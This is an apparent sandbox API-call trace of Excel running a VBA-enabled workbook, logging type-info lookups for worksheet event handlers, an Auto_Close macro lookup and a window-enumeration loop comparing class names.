	[0198.606] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa000000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa000000345) returned 0x0
	[0198.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0198.607] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0198.607] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0198.607] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0201.725] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba000000c0) returned 0x0
	[0201.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0201.725] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0201.725] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0201.725] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0201.727] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0201.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0201.727] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0201.727] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0201.727] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0201.885] GetCurrentThreadId () returned 0x8e8
	[0201.885] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0201.885] GetDesktopWindow () returned 0x10010
	[0202.211] GetAsyncKeyState (vKey=27) returned 0
	[0202.211] GetCurrentThreadId () returned 0x8e8
	[0202.211] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0202.212] GetDesktopWindow () returned 0x10010
	[0205.410] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000197 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000197) returned 0x0
	[0205.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0205.410] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0205.410] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0205.410] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0205.411] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0205.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0205.411] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0205.411] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0205.411] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0205.573] GetCurrentThreadId () returned 0x8e8
	[0205.573] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0205.573] GetDesktopWindow () returned 0x10010
	[0205.956] GetAsyncKeyState (vKey=27) returned 0
	[0205.956] GetCurrentThreadId () returned 0x8e8
	[0205.956] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0205.956] GetDesktopWindow () returned 0x10010
	[0209.050] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba0000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba0000026e) returned 0x0
	[0209.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0209.050] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0209.050] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0209.050] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0209.067] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba0000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba0000026e) returned 0x0
	[0209.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0209.067] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0209.067] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0209.067] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0212.236] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xba00000345) returned 0x0
	[0212.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0212.236] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0212.236] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0212.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0212.237] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0212.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0212.237] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0212.237] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0212.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0212.425] GetCurrentThreadId () returned 0x8e8
	[0212.425] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0212.425] GetDesktopWindow () returned 0x10010
	[0213.059] GetAsyncKeyState (vKey=27) returned 0
	[0213.059] GetCurrentThreadId () returned 0x8e8
	[0213.059] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0213.059] GetDesktopWindow () returned 0x10010
	[0224.634] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0224.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0224.634] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0224.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xb87cfc8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0224.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Close", cchWideChar=-1, lpMultiByteStr=0x289f80, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Close", lpUsedDefaultChar=0x0) returned 24
	[0224.634] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0224.634] bsearch (_Key=0x288e98, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0x0
	[0224.634] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0224.634] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3
	[0224.634] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2
	[0224.634] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Close") returned 0x108077
	[0224.634] bsearch (_Key=0x288e98, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0x0
	[0224.634] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1
	[0224.634] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 1
	[0224.634] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Close", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1
	[0224.647] GetCurrentThreadId () returned 0x8e8
	[0224.647] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0224.647] GetDesktopWindow () returned 0x10010
	[0224.647] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0224.647] GetClassNameA (in: hWnd=0x10140, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0224.648] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0224.648] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0224.648] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.648] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0224.648] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0224.648] GetClassNameA (in: hWnd=0x10138, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0224.648] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0224.648] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0224.648] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.648] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0224.648] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.648] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0224.648] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.648] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0224.648] GetClassNameA (in: hWnd=0x10072, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.648] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.648] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.648] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0224.648] GetClassNameA (in: hWnd=0x10070, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0224.649] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0224.649] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0224.649] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0224.649] GetClassNameA (in: hWnd=0x10078, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0224.649] GetClassNameA (in: hWnd=0x10074, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.649] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0224.649] GetClassNameA (in: hWnd=0x10052, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0224.649] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0224.649] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.649] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0224.649] GetClassNameA (in: hWnd=0x10054, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0224.649] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0224.649] GetClassNameA (in: hWnd=0x10050, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0224.649] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0224.649] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.649] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0224.649] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.650] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0224.650] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0224.650] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0224.650] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.650] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0224.650] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0224.650] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.650] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0224.650] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0224.650] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0224.650] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x12016a
	[0224.650] GetClassNameA (in: hWnd=0x12016a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="NUIDialog") returned 9
	[0224.650] lstrcmpA (lpString1="NUIDialog", lpString2="ThunderRT6Main") returned -1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x12016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.650] GetWindowLongA (hWnd=0x12016a, nIndex=-16) returned -2067267584
	[0224.650] GetWindowLongPtrA (hWnd=0x12016a, nIndex=-6) returned 0x7fef1d70000
	[0224.650] GetWindowLongPtrA (hWnd=0x12016a, nIndex=-6) returned 0x7fef1d70000
	[0224.650] GetWindow (hWnd=0x12016a, uCmd=0x2) returned 0x10226
	[0224.650] GetClassNameA (in: hWnd=0x10226, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0224.650] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.650] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0224.650] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0224.650] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0224.650] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0224.650] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.650] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.650] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0224.650] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0224.650] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0224.650] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0224.650] GetClassNameA (in: hWnd=0x40216, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0224.650] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0224.650] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.650] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0224.650] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0224.650] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0224.650] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0224.650] GetClassNameA (in: hWnd=0x20268, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.650] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.651] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.651] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0224.651] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0224.651] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0224.651] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0224.651] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.651] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.651] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.651] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0224.651] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0224.651] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0224.651] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0224.651] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.651] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.651] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.651] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0224.651] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0224.651] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0224.651] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0224.651] GetClassNameA (in: hWnd=0x20260, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.651] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.651] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.651] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0224.651] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0224.651] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0224.651] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0224.651] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
